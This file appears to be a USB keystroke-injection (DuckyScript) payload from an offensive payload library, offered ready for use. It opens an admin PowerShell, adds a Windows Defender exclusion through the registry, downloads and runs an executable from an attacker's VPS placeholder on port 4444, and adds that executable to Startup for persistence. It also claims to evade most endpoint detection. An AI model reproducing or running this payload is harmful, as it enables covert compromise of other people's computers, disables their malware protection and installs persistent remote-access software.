Path: blob/master/payloads/library/general/The-Perfect-Stealthy-Payload/payload.txt
2968 views
REM Title: The-Perfect-Stealthy-Payload1REM Author: zb0r2REM Description: Opens PowerShell as admin, creates a folder in Windows/temp called Cache, adds exclusion in Defender, downloads the payload from VPS/ inside the Cache folder, executes it, and adds it to startup3REM Target: Windows4REM Note: This evades most EDRs. // Delay is too big for testing purposes, can be lowered significantly. // I removed every instance of my VPS.5REM Note: replace VPSIPHERE with the IP of your VPS and the correct port (ex:4444) and the name of your payload (ex: Shelzy.exe)6REM Version: 1.07DEFINE #VPSISHERE 0.0.0.08DEFINE #EXE_NAME Shelzy.exe9DEFINE #PORT 444410EXTENSION PASSIVE_WINDOWS_DETECT11REM VERSION 1.112REM AUTHOR: Korben1314REM_BLOCK DOCUMENTATION15Windows fully passive OS Detection and passive Detect Ready16Includes its own passive detect ready.17Does not require additional extensions.1819USAGE:20Extension runs inline (here)21Place at beginning of payload (besides ATTACKMODE) to act as dynamic22boot delay23$_OS will be set to WINDOWS or NOT_WINDOWS24See end of payload for usage within payload25END_REM2627REM CONFIGURATION:28DEFINE #MAX_WAIT 15029DEFINE #CHECK_INTERVAL 2030DEFINE #WINDOWS_HOST_REQUEST_COUNT 231DEFINE #NOT_WINDOWS 73233$_OS = #NOT_WINDOWS3435VAR $MAX_TRIES = #MAX_WAIT36WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))37DELAY #CHECK_INTERVAL38$MAX_TRIES = ($MAX_TRIES - 1)39END_WHILE40IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN41$_OS = WINDOWS42END_IF4344REM_BLOCK EXAMPLE USAGE AFTER EXTENSION45IF ($_OS == WINDOWS) THEN46STRING HELLO WINDOWS!47ELSE48STRING HELLO WORLD!49END_IF50END_REM51END_EXTENSION52DELAY 10053GUI r54DELAY 50055STRING powershell56DELAY 50057CTRL SHIFT ENTER58DELAY 100059LEFTARROW60DELAY 100061ENTER62DELAY 150063REM Create Cache folder in Windows/temp64STRINGLN mkdir "$env:windir\temp\Cache"65DELAY 5006667REM Add exclusion in Defender for Cache folder via registry manipulation68STRINGLN Start-Process powershell -Verb RunAs -ArgumentList 'New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" -Name "C:\Windows\Temp\Cache" -Value "C:\Windows\Temp\Cache" -PropertyType String -Force'69DELAY 5007071REM Download payload from VPS Invoke-WebRequest72STRINGLN Invoke-WebRequest -Uri "http://#VPSIPHERE:#PORT/#EXE_NAME" -OutFile "$env:windir\temp\Cache\#EXE_NAME"73DELAY 30007475REM Execute the downloaded payload76STRINGLN Start-Process "$env:windir\temp\Cache\#EXE_NAME"77DELAY 5007879REM Add #EXE_NAME to startup80STRINGLN $s=(New-Object -COM WScript.Shell).CreateShortcut("$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\Shelzy.lnk");$s.TargetPath="$env:windir\temp\Cache\#EXE_NAME";$s.Save()81DELAY 5008283STRING EXIT84DELAY 30085ENTER868788